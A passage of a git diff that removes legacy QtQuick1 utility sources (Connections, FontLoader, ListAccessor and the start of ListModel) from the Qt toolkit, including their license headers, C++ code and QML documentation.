a/src/qtquick1/util/qdeclarativeconnections.cpp +++ /dev/null @@ -1,294 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeconnections_p.h" - -#include -#include -#include -#include -#include -#include - -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1ConnectionsPrivate : public QObjectPrivate -{ -public: - QDeclarative1ConnectionsPrivate() : target(0), targetSet(false), ignoreUnknownSignals(false), componentcomplete(true) {} - - QList boundsignals; - QObject *target; - - bool targetSet; - bool ignoreUnknownSignals; - bool componentcomplete; - - QByteArray data; -}; - -/*! - \qmlclass Connections QDeclarative1Connections - \inqmlmodule QtQuick 1 - \ingroup qml-utility-elements - \since QtQuick 1.0 - \brief A Connections element describes generalized connections to signals. - - A Connections object creates a connection to a QML signal. - - When connecting to signals in QML, the usual way is to create an - "on" handler that reacts when a signal is received, like this: - - \qml - MouseArea { - onClicked: { foo(parameters) } - } - \endqml - - However, it is not possible to connect to a signal in this way in some - cases, such as when: - - \list - \i Multiple connections to the same signal are required - \i Creating connections outside the scope of the signal sender - \i Connecting to targets not defined in QML - \endlist - - When any of these are needed, the Connections element can be used instead. - - For example, the above code can be changed to use a Connections object, - like this: - - \qml - MouseArea { - Connections { - onClicked: foo(parameters) - } - } - \endqml - - More generally, the Connections object can be a child of some object other than - the sender of the signal: - - \qml - MouseArea { - id: area - } - // ... - \endqml - \qml - Connections { - target: area - onClicked: foo(parameters) - } - \endqml - - \sa QtDeclarative -*/ -QDeclarative1Connections::QDeclarative1Connections(QObject *parent) : - QObject(*(new QDeclarative1ConnectionsPrivate), parent) -{ -} - -QDeclarative1Connections::~QDeclarative1Connections() -{ -} - -/*! - \qmlproperty Object QtQuick1::Connections::target - This property holds the object that sends the signal. - - If this property is not set, the \c target defaults to the parent of the Connection. - - If set to null, no connection is made and any signal handlers are ignored - until the target is not null. -*/ -QObject *QDeclarative1Connections::target() const -{ - Q_D(const QDeclarative1Connections); - return d->targetSet ? d->target : parent(); -} - -void QDeclarative1Connections::setTarget(QObject *obj) -{ - Q_D(QDeclarative1Connections); - d->targetSet = true; // even if setting to 0, it is *set* - if (d->target == obj) - return; - foreach (QDeclarativeBoundSignal *s, d->boundsignals) { - // It is possible that target is being changed due to one of our signal - // handlers -> use deleteLater(). - if (s->isEvaluating()) - s->deleteLater(); - else - delete s; - } - d->boundsignals.clear(); - d->target = obj; - connectSignals(); - emit targetChanged(); -} - -/*! - \qmlproperty bool QtQuick1::Connections::ignoreUnknownSignals - - Normally, a connection to a non-existent signal produces runtime errors. - - If this property is set to \c true, such errors are ignored. - This is useful if you intend to connect to different types of objects, handling - a different set of signals for each object. -*/ -bool QDeclarative1Connections::ignoreUnknownSignals() const -{ - Q_D(const QDeclarative1Connections); - return d->ignoreUnknownSignals; -} - -void QDeclarative1Connections::setIgnoreUnknownSignals(bool ignore) -{ - Q_D(QDeclarative1Connections); - d->ignoreUnknownSignals = ignore; -} - - - -QByteArray -QDeclarative1ConnectionsParser::compile(const QList &props) -{ - QByteArray rv; - QDataStream ds(&rv, QIODevice::WriteOnly); - - for(int ii = 0; ii < props.count(); ++ii) - { - QString propName = props.at(ii).name(); - if (!propName.startsWith(QLatin1String("on")) || !propName.at(2).isUpper()) { - error(props.at(ii), QDeclarative1Connections::tr("Cannot assign to non-existent property \"%1\"").arg(propName)); - return QByteArray(); - } - - QList values = props.at(ii).assignedValues(); - - for (int i = 0; i < values.count(); ++i) { - const QVariant &value = values.at(i); - - if (value.userType() == qMetaTypeId()) { - error(props.at(ii), QDeclarative1Connections::tr("Connections: nested objects not allowed")); - return QByteArray(); - } else if (value.userType() == qMetaTypeId()) { - error(props.at(ii), QDeclarative1Connections::tr("Connections: syntax error")); - return QByteArray(); - } else { - QDeclarativeScript::Variant v = qvariant_cast(value); - if (v.isScript()) { - ds << propName; - ds << v.asScript(); - } else { - error(props.at(ii), QDeclarative1Connections::tr("Connections: script expected")); - return QByteArray(); - } - } - } - } - - return rv; -} - -void QDeclarative1ConnectionsParser::setCustomData(QObject *object, - const QByteArray &data) -{ - QDeclarative1ConnectionsPrivate *p = - static_cast(QObjectPrivate::get(object)); - p->data = data; -} - - -void QDeclarative1Connections::connectSignals() -{ - Q_D(QDeclarative1Connections); - if (!d->componentcomplete || (d->targetSet && !target())) - return; - - QDataStream ds(d->data); - while (!ds.atEnd()) { - QString propName; - ds >> propName; - QString script; - ds >> script; - QDeclarativeProperty prop(target(), propName); - if (prop.isValid() && (prop.type() & QDeclarativeProperty::SignalProperty)) { - QDeclarativeBoundSignal *signal = - new QDeclarativeBoundSignal(target(), prop.method(), this); - QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(this), 0, script); - QDeclarativeData *ddata = QDeclarativeData::get(this); - if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) - expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber, ddata->columnNumber); - signal->setExpression(expression); - d->boundsignals += signal; - } else { - if (!d->ignoreUnknownSignals) - qmlInfo(this) << tr("Cannot assign to non-existent property \"%1\"").arg(propName); - } - } -} - -void QDeclarative1Connections::classBegin() -{ - Q_D(QDeclarative1Connections); - d->componentcomplete=false; -} - -void QDeclarative1Connections::componentComplete() -{ - Q_D(QDeclarative1Connections); - d->componentcomplete=true; - connectSignals(); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativeconnections_p.h b/src/qtquick1/util/qdeclarativeconnections_p.h deleted file mode 100644 index b93afec849..0000000000 --- a/src/qtquick1/util/qdeclarativeconnections_p.h +++ /dev/null @@ -1,101 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVECONNECTIONS_H -#define QDECLARATIVECONNECTIONS_H - -#include -#include -#include - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarativeBoundSignal; -class QDeclarativeContext; -class QDeclarative1ConnectionsPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1Connections : public QObject, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1Connections) - - Q_INTERFACES(QDeclarativeParserStatus) - Q_PROPERTY(QObject *target READ target WRITE setTarget NOTIFY targetChanged) - Q_PROPERTY(bool ignoreUnknownSignals READ ignoreUnknownSignals WRITE setIgnoreUnknownSignals) - -public: - QDeclarative1Connections(QObject *parent=0); - ~QDeclarative1Connections(); - - QObject *target() const; - void setTarget(QObject *); - - bool ignoreUnknownSignals() const; - void setIgnoreUnknownSignals(bool ignore); - -Q_SIGNALS: - void targetChanged(); - -private: - void connectSignals(); - void classBegin(); - void componentComplete(); -}; - -class QDeclarative1ConnectionsParser : public QDeclarativeCustomParser -{ -public: - virtual QByteArray compile(const QList &); - virtual void setCustomData(QObject *, const QByteArray &); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Connections) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/util/qdeclarativefontloader.cpp b/src/qtquick1/util/qdeclarativefontloader.cpp deleted file mode 100644 index fbd2c4cd26..0000000000 --- a/src/qtquick1/util/qdeclarativefontloader.cpp +++ /dev/null @@ -1,343 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativefontloader_p.h" - -#include -#include - -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -#define FONTLOADER_MAXIMUM_REDIRECT_RECURSION 16 - -class QDeclarative1FontObject : public QObject -{ -Q_OBJECT - -public: - QDeclarative1FontObject(int _id); - - void download(const QUrl &url, QNetworkAccessManager *manager); - -Q_SIGNALS: - void fontDownloaded(const QString&, QDeclarative1FontLoader::Status); - -private Q_SLOTS: - void replyFinished(); - -public: - int id; - -private: - QNetworkReply *reply; - int redirectCount; - - Q_DISABLE_COPY(QDeclarative1FontObject) -}; - -QDeclarative1FontObject::QDeclarative1FontObject(int _id = -1) - : QObject(0), id(_id), reply(0), redirectCount(0) {} - - -void QDeclarative1FontObject::download(const QUrl &url, QNetworkAccessManager *manager) -{ - QNetworkRequest req(url); - req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true); - reply = manager->get(req); - QObject::connect(reply, SIGNAL(finished()), this, SLOT(replyFinished())); -} - -void QDeclarative1FontObject::replyFinished() -{ - if (reply) { - redirectCount++; - if (redirectCount < FONTLOADER_MAXIMUM_REDIRECT_RECURSION) { - QVariant redirect = reply->attribute(QNetworkRequest::RedirectionTargetAttribute); - if (redirect.isValid()) { - QUrl url = reply->url().resolved(redirect.toUrl()); - QNetworkAccessManager *manager = reply->manager(); - reply->deleteLater(); - reply = 0; - download(url, manager); - return; - } - } - redirectCount = 0; - - if (!reply->error()) { - id = QFontDatabase::addApplicationFontFromData(reply->readAll()); - if (id != -1) - emit fontDownloaded(QFontDatabase::applicationFontFamilies(id).at(0), QDeclarative1FontLoader::Ready); - else - emit fontDownloaded(QString(), QDeclarative1FontLoader::Error); - } else { - emit fontDownloaded(QString(), QDeclarative1FontLoader::Error); - } - reply->deleteLater(); - reply = 0; - } -} - - -class QDeclarative1FontLoaderPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1FontLoader) - -public: - QDeclarative1FontLoaderPrivate() : status(QDeclarative1FontLoader::Null) {} - - QUrl url; - QString name; - QDeclarative1FontLoader::Status status; - static QHash fonts; -}; - -QHash QDeclarative1FontLoaderPrivate::fonts; - -/*! - \qmlclass FontLoader QDeclarative1FontLoader - \inqmlmodule QtQuick 1 - \ingroup qml-utility-elements - \since QtQuick 1.0 - \brief The FontLoader element allows fonts to be loaded by name or URL. - - The FontLoader element is used to load fonts by name or URL. - - The \l status indicates when the font has been loaded, which is useful - for fonts loaded from remote sources. - - For example: - \qml - import QtQuick 1.0 - - Column { - FontLoader { id: fixedFont; name: "Courier" } - FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" } - - Text { text: "Fixed-size font"; font.family: fixedFont.name } - Text { text: "Fancy font"; font.family: webFont.name } - } - \endqml - - \sa {declarative/text/fonts}{Fonts example} -*/ -QDeclarative1FontLoader::QDeclarative1FontLoader(QObject *parent) - : QObject(*(new QDeclarative1FontLoaderPrivate), parent) -{ -} - -QDeclarative1FontLoader::~QDeclarative1FontLoader() -{ -} - -/*! - \qmlproperty url QtQuick1::FontLoader::source - The url of the font to load. -*/ -QUrl QDeclarative1FontLoader::source() const -{ - Q_D(const QDeclarative1FontLoader); - return d->url; -} - -void QDeclarative1FontLoader::setSource(const QUrl &url) -{ - Q_D(QDeclarative1FontLoader); - if (url == d->url) - return; - d->url = qmlContext(this)->resolvedUrl(url); - emit sourceChanged(); - -#ifndef QT_NO_LOCALFILE_OPTIMIZED_QML - QString localFile = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url); - if (!localFile.isEmpty()) { - if (!d->fonts.contains(d->url)) { - int id = QFontDatabase::addApplicationFont(localFile); - if (id != -1) { - updateFontInfo(QFontDatabase::applicationFontFamilies(id).at(0), Ready); - QDeclarative1FontObject *fo = new QDeclarative1FontObject(id); - d->fonts[d->url] = fo; - } else { - updateFontInfo(QString(), Error); - } - } else { - updateFontInfo(QFontDatabase::applicationFontFamilies(d->fonts[d->url]->id).at(0), Ready); - } - } else -#endif - { - if (!d->fonts.contains(d->url)) { - QDeclarative1FontObject *fo = new QDeclarative1FontObject; - d->fonts[d->url] = fo; - fo->download(d->url, qmlEngine(this)->networkAccessManager()); - d->status = Loading; - emit statusChanged(); - QObject::connect(fo, SIGNAL(fontDownloaded(QString,QDeclarative1FontLoader::Status)), - this, SLOT(updateFontInfo(QString,QDeclarative1FontLoader::Status))); - } else { - QDeclarative1FontObject *fo = d->fonts[d->url]; - if (fo->id == -1) { - d->status = Loading; - emit statusChanged(); - QObject::connect(fo, SIGNAL(fontDownloaded(QString,QDeclarative1FontLoader::Status)), - this, SLOT(updateFontInfo(QString,QDeclarative1FontLoader::Status))); - } - else - updateFontInfo(QFontDatabase::applicationFontFamilies(fo->id).at(0), Ready); - } - } -} - -void QDeclarative1FontLoader::updateFontInfo(const QString& name, QDeclarative1FontLoader::Status status) -{ - Q_D(QDeclarative1FontLoader); - - if (name != d->name) { - d->name = name; - emit nameChanged(); - } - if (status != d->status) { - if (status == Error) - qmlInfo(this) << "Cannot load font: \"" << d->url.toString() << "\""; - d->status = status; - emit statusChanged(); - } -} - -/*! - \qmlproperty string QtQuick1::FontLoader::name - - This property holds the name of the font family. - It is set automatically when a font is loaded using the \c url property. - - Use this to set the \c font.family property of a \c Text item. - - Example: - \qml - Item { - width: 200; height: 50 - - FontLoader { - id: webFont - source: "http://www.mysite.com/myfont.ttf" - } - Text { - text: "Fancy font" - font.family: webFont.name - } - } - \endqml -*/ -QString QDeclarative1FontLoader::name() const -{ - Q_D(const QDeclarative1FontLoader); - return d->name; -} - -void QDeclarative1FontLoader::setName(const QString &name) -{ - Q_D(QDeclarative1FontLoader); - if (d->name == name) - return; - d->name = name; - emit nameChanged(); - d->status = Ready; - emit statusChanged(); -} - -/*! - \qmlproperty enumeration QtQuick1::FontLoader::status - - This property holds the status of font loading. It can be one of: - \list - \o FontLoader.Null - no font has been set - \o FontLoader.Ready - the font has been loaded - \o FontLoader.Loading - the font is currently being loaded - \o FontLoader.Error - an error occurred while loading the font - \endlist - - Use this status to provide an update or respond to the status change in some way. - For example, you could: - - \list - \o Trigger a state change: - \qml - State { name: 'loaded'; when: loader.status == FontLoader.Ready } - \endqml - - \o Implement an \c onStatusChanged signal handler: - \qml - FontLoader { - id: loader - onStatusChanged: if (loader.status == FontLoader.Ready) console.log('Loaded') - } - \endqml - - \o Bind to the status value: - \qml - Text { text: loader.status == FontLoader.Ready ? 'Loaded' : 'Not loaded' } - \endqml - \endlist -*/ -QDeclarative1FontLoader::Status QDeclarative1FontLoader::status() const -{ - Q_D(const QDeclarative1FontLoader); - return d->status; -} - - - -QT_END_NAMESPACE - -#include diff --git a/src/qtquick1/util/qdeclarativefontloader_p.h b/src/qtquick1/util/qdeclarativefontloader_p.h deleted file mode 100644 index 585c221113..0000000000 --- a/src/qtquick1/util/qdeclarativefontloader_p.h +++ /dev/null @@ -1,96 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEFONTLOADER_H -#define QDECLARATIVEFONTLOADER_H - -#include - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1FontLoaderPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1FontLoader : public QObject -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1FontLoader) - Q_ENUMS(Status) - - Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) - Q_PROPERTY(Status status READ status NOTIFY statusChanged) - -public: - enum Status { Null = 0, Ready, Loading, Error }; - - QDeclarative1FontLoader(QObject *parent = 0); - ~QDeclarative1FontLoader(); - - QUrl source() const; - void setSource(const QUrl &url); - - QString name() const; - void setName(const QString &name); - - Status status() const; - -private Q_SLOTS: - void updateFontInfo(const QString&, QDeclarative1FontLoader::Status); - -Q_SIGNALS: - void sourceChanged(); - void nameChanged(); - void statusChanged(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1FontLoader) - -QT_END_HEADER - -#endif // QDECLARATIVEFONTLOADER_H - diff --git a/src/qtquick1/util/qdeclarativelistaccessor.cpp b/src/qtquick1/util/qdeclarativelistaccessor.cpp deleted file mode 100644 index 426f584192..0000000000 --- a/src/qtquick1/util/qdeclarativelistaccessor.cpp +++ /dev/null @@ -1,142 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativelistaccessor_p.h" - -#include - -#include -#include - -// ### Remove me -#include - -QT_BEGIN_NAMESPACE - - - -QDeclarative1ListAccessor::QDeclarative1ListAccessor() -: m_type(Invalid) -{ -} - -QDeclarative1ListAccessor::~QDeclarative1ListAccessor() -{ -} - -QVariant QDeclarative1ListAccessor::list() const -{ - return d; -} - -void QDeclarative1ListAccessor::setList(const QVariant &v, QDeclarativeEngine *engine) -{ - d = v; - - QDeclarativeEnginePrivate *enginePrivate = engine?QDeclarativeEnginePrivate::get(engine):0; - - if (!d.isValid()) { - m_type = Invalid; - } else if (d.userType() == QVariant::StringList) { - m_type = StringList; - } else if (d.userType() == QMetaType::QVariantList) { - m_type = VariantList; - } else if (d.canConvert(QVariant::Int)) { - m_type = Integer; - } else if ((!enginePrivate && QDeclarativeMetaType::isQObject(d.userType())) || - (enginePrivate && enginePrivate->isQObject(d.userType()))) { - QObject *data = enginePrivate?enginePrivate->toQObject(v):QDeclarativeMetaType::toQObject(v); - d = QVariant::fromValue(data); - m_type = Instance; - } else if (d.userType() == qMetaTypeId()) { - m_type = ListProperty; - } else { - m_type = Instance; - } -} - -int QDeclarative1ListAccessor::count() const -{ - switch(m_type) { - case StringList: - return qvariant_cast(d).count(); - case VariantList: - return qvariant_cast(d).count(); - case ListProperty: - return ((QDeclarativeListReference *)d.constData())->count(); - case Instance: - return 1; - case Integer: - return d.toInt(); - default: - case Invalid: - return 0; - } -} - -QVariant QDeclarative1ListAccessor::at(int idx) const -{ - Q_ASSERT(idx >= 0 && idx < count()); - switch(m_type) { - case StringList: - return QVariant::fromValue(qvariant_cast(d).at(idx)); - case VariantList: - return qvariant_cast(d).at(idx); - case ListProperty: - return QVariant::fromValue(((QDeclarativeListReference *)d.constData())->at(idx)); - case Instance: - return d; - case Integer: - return QVariant(idx); - default: - case Invalid: - return QVariant(); - } -} - -bool QDeclarative1ListAccessor::isValid() const -{ - return m_type != Invalid; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativelistaccessor_p.h b/src/qtquick1/util/qdeclarativelistaccessor_p.h deleted file mode 100644 index 4cc44f8bfc..0000000000 --- a/src/qtquick1/util/qdeclarativelistaccessor_p.h +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELISTACCESSOR_H -#define QDECLARATIVELISTACCESSOR_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarativeEngine; - - -class Q_AUTOTEST_EXPORT QDeclarative1ListAccessor -{ -public: - QDeclarative1ListAccessor(); - ~QDeclarative1ListAccessor(); - - QVariant list() const; - void setList(const QVariant &, QDeclarativeEngine * = 0); - - bool isValid() const; - - int count() const; - QVariant at(int) const; - - enum Type { Invalid, StringList, VariantList, ListProperty, Instance, Integer }; - Type type() const { return m_type; } - -private: - Type m_type; - QVariant d; -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVELISTACCESSOR_H diff --git a/src/qtquick1/util/qdeclarativelistmodel.cpp b/src/qtquick1/util/qdeclarativelistmodel.cpp deleted file mode 100644 index 12367364f6..0000000000 --- a/src/qtquick1/util/qdeclarativelistmodel.cpp +++ /dev/null @@ -1,1634 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativelistmodel_p_p.h" -#include "QtQuick1/private/qdeclarativelistmodelworkeragent_p.h" -#include "QtQuick1/private/qdeclarativeopenmetaobject_p.h" - -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -Q_DECLARE_METATYPE(QListModelInterface *) - -QT_BEGIN_NAMESPACE - - - -template -void qdeclarativelistmodel_move(int from, int to, int n, T *items) -{ - if (n == 1) { - items->move(from, to); - } else { - T replaced; - int i=0; - typename T::ConstIterator it=items->begin(); it += from+n; - for (; ibegin(); it += from; - for (; ibegin(); t += from; - for (; f != replaced.end(); ++f, ++t) - *t = *f; - } -} - -QDeclarative1ListModelParser::ListInstruction *QDeclarative1ListModelParser::ListModelData::instructions() const -{ - return (QDeclarative1ListModelParser::ListInstruction *)((char *)this + sizeof(ListModelData)); -} - -/*! - \qmlclass ListModel QDeclarative1ListModel - \inqmlmodule QtQuick 1 - \ingroup qml-working-with-data - \since QtQuick 1.0 - \brief The ListModel element defines a free-form list data source. - - The ListModel is a simple container of ListElement definitions, each containing data roles. - The contents can be defined dynamically, or explicitly in QML. - - The number of elements in the model can be obtained from its \l count property. - A number of familiar methods are also provided to manipulate the contents of the - model, including append(), insert(), move(), remove() and set(). These methods - accept dictionaries as their arguments; these are translated to ListElement objects - by the model. - - Elements can be manipulated via the model using the setProperty() method, which - allows the roles of the specified element to be set and changed. - - \section1 Example Usage - - The following example shows a ListModel containing three elements, with the roles - "name" and "cost". - - \div {class="float-right"} - \inlineimage listmodel.png - \enddiv - - \snippet doc/src/snippets/qtquick1/listmodel.qml 0 - - \clearfloat - Roles (properties) in each element must begin with a lower-case letter and - should be common to all elements in a model. The ListElement documentation - provides more guidelines for how elements should be defined. - - Since the example model contains an \c id property, it can be referenced - by views, such as the ListView in this example: - - \snippet doc/src/snippets/qtquick1/listmodel-simple.qml 0 - \dots 8 - \snippet doc/src/snippets/qtquick1/listmodel-simple.qml 1 - - It is possible for roles to contain list data. In the following example we - create a list of fruit attributes: - - \snippet doc/src/snippets/qtquick1/listmodel-nested.qml model - - The delegate displays all the fruit attributes: - - \div {class="float-right"} - \inlineimage listmodel-nested.png - \enddiv - - \snippet doc/src/snippets/qtquick1/listmodel-nested.qml delegate - - \clearfloat - \section1 Modifying List Models - - The content of a ListModel may be created and modified using the clear(), - append(), set(), insert() and setProperty() methods. For example: - - \snippet doc/src/snippets/qtquick1/listmodel-modify.qml delegate - - Note that when creating content dynamically the set of available properties - cannot be changed once set. Whatever properties are first added to the model - are the only 